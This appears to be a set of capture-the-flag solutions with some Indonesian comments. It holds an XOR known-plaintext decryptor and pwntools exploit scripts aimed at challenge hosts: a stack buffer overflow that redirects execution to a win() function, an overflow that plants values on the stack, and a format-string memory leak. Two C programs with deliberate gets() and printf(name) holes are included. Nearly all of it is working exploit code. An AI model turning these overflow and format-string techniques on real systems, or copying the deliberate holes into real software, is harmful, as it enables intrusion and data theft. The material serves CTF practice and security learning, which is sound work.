from pwn import *
import binascii

cipher = b"ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c"
cipher = binascii.unhexlify(cipher)

potentialKey = []
for x in range(len(cipher)):
    
    xplus5 = x+5
    currentKey = cipher[x:xplus5]
    potentialKey.append(currentKey)
    
    if xplus5 == 124:
        break

partial_flag = b"actf{"
keyList = []
for x in range(len(potentialKey)):
    currentKey = potentialKey[x]
    
    plain = xor(partial_flag,currentKey)
    keyList.append(plain)


dumperPlain = []
for x in range(len(keyList)):
    currentKey = keyList[x]

    plain = xor(cipher,currentKey)
    if b"Congratulations" in plain:
	# how do I know, there is Congratulations in the string? because i already solve it (for beautify purpose :d)
        log.info("The Key : {}".format(currentKey))
        log.info("Plain   : {}".format(plain.decode()))

# Output:
# [*] The Key : b'\xedH\x85]f'
# [*] Plain   : Congratulations on decrypting the message! The flag is actf{who_needs_aes_when_you_have_xor}. Good luck on the other crypto!

#!/usr/bin/env python
from pwn import *
import sys

context.log_level = "warn"

def exploit(io):
    
    # What number am I thinking of???
    io.sendline("31337")
    
    # What two numbers am I thinking of???
    io.sendline("723")
    io.sendline("419")
    
    # What animal am I thinking of???
    io.sendline("banana")

    io.recvuntil("Oh yeah, here's the FREE FLAG:\n")
    print(io.recvline().strip().decode())

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "r":
        io = remote("shell.actf.co", 21703)
    else:
        io = ELF("./free_flags")
        io = io.process()
    exploit(io)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int win(){
    char flag[128];
    FILE *file = fopen("flag.txt","r");
    
    if (!file) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    
    fgets(flag, 128, file);
    puts(flag);
}

int vuln(){
    char password[64];
    
    puts("Enter the secret word: ");    
    gets(&password);
    
    if(strcmp(password, "password123") == 0){
        puts("Logged in! The flag is somewhere else though...");
    } else {
        puts("Login failed!");
    }
    return 0;
}

int main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    vuln();

    // not so easy for you!
    // win();
    return 0;
}

#!/usr/bin/env python
from pwn import *
import sys
from pwnlib import context
from pwnlib.util.cyclic import cyclic_find

WIN_ADDRESS = 0x401196
RIP_OFFSET = cyclic_find(0x61616173) # 72

def exploit(io):
    p = b"A"*RIP_OFFSET
    p += p64(WIN_ADDRESS)

    io.sendline(p)
    io.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "r":
        io = remote("shell.actf.co", 21830)
    else:
        io = ELF("./tranquil")
        io = io.process()
    exploit(io)

#!/usr/bin/env python
from pwn import *
from os import path
import sys
from pwnlib import context
from pwnlib.util.cyclic import cyclic_find

DIR = path.dirname(path.abspath(__file__))

def exploit(io):
    
    p = b"password123\x00"  # strncmp "bug"
    p = p.ljust(76,b"A")    # padding dengan total 76 karakter
                            # kenapa 76? karena tepat bersamaan dengan offset ini,
                            # "input" kita akan di compare dengan if selanjutnya.
                            # sampai akhirnya, flag akan di print.


    # [Q] Kok value yang ingin dicompare urutannya kebalik?
    # [A] Sesuai dengan cara kerja stack.. 
    #     LIFO (Last In First Out)

    p += p32(0x11) # 17  - Pertama dimasukan  (Keluar kelima)
    p += p32(0x3d) # 61  - Kedua dimasukan    (Keluar keempat)
    p += p32(0xf5) # 245 - Ketiga dimasukan   (Keluar ketiga)	
    p += p32(0x37) # 55  - Keempat dimasukan  (Keluar kedua)
    p += p32(0x32) # 50  - Terakhir dimasukan (Keluar pertama)


    # raw_input("pause")
    io.sendline(p)
    io.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "r":
        io = remote("shell.actf.co", 21303)
    else:
        io = ELF(DIR+"/checks")
        io = io.process()
    exploit(io)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct Secrets {
    char secret1[50];
    char password[50];
    char birthday[50];
    char ssn[50];
    char flag[128];
} Secrets;

int vuln(){
    char name[7];
    Secrets boshsecrets = {
        .secret1 = "CTFs are fun!",
        .password= "password123",
        .birthday = "1/1/1970",
        .ssn = "123-456-7890",
    };
    
    FILE *f = fopen("flag.txt","r");
    if (!f) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    fgets(&(boshsecrets.flag), 128, f); // char flag[128];
    
    puts("Name: ");
    fgets(name, 6, stdin); // char name[7];

    printf("Welcome, ");
    printf(name);
    printf("\n");    
    return 0;
}

int main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    vuln();    
    return 0;
}

#!/usr/bin/env python
from pwn import *
from os import path
import sys

DIR = path.dirname(path.abspath(__file__))
context.log_level = "warn"
REMOTE, LOCAL = True, True

FOUND_FLAG = False
flag = b""

def exploit(io):
    global FOUND_FLAG
    global flag

    for x in range(1,50):
        if REMOTE == True:
            io = remote("shell.actf.co", 21820)
        elif LOCAL == True:
            io = ELF("./stickystacks")
            io = io.process()

        p = b""    
        p += f"%{x}$p".encode()
        io.sendline(p)

        io.recvuntil("Welcome, ")
        LEAKED_MEMORY = io.recvline().strip().decode()

        if "(nil)" not in LEAKED_MEMORY:
            LEAKED_MEMORY = p64( int(LEAKED_MEMORY, 16) )
            
            # Comment this if u want in silent mode
            print("[{}] Current Leaked   : {}".format(str(x).rjust(2,"0"), LEAKED_MEMORY))
            
            if b"actf" in LEAKED_MEMORY:
                FOUND_FLAG = True
                flag += LEAKED_MEMORY
            elif FOUND_FLAG == True and b"\n" not in flag:
                flag += LEAKED_MEMORY
            elif FOUND_FLAG == True and b"\n" in LEAKED_MEMORY:
                flag += LEAKED_MEMORY
                break
        
    # String Flag terdapat pada index ke: 33, 34, 35, 36, 37, 38, 39, 40, 41, 42
    print(flag.strip().decode())

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "r":
        io = remote("shell.actf.co", 21820)
        REMOTE = True
    else:
        io = ELF(DIR+"/stickystacks")
        io = io.process()
        LOCAL = True
    exploit(io)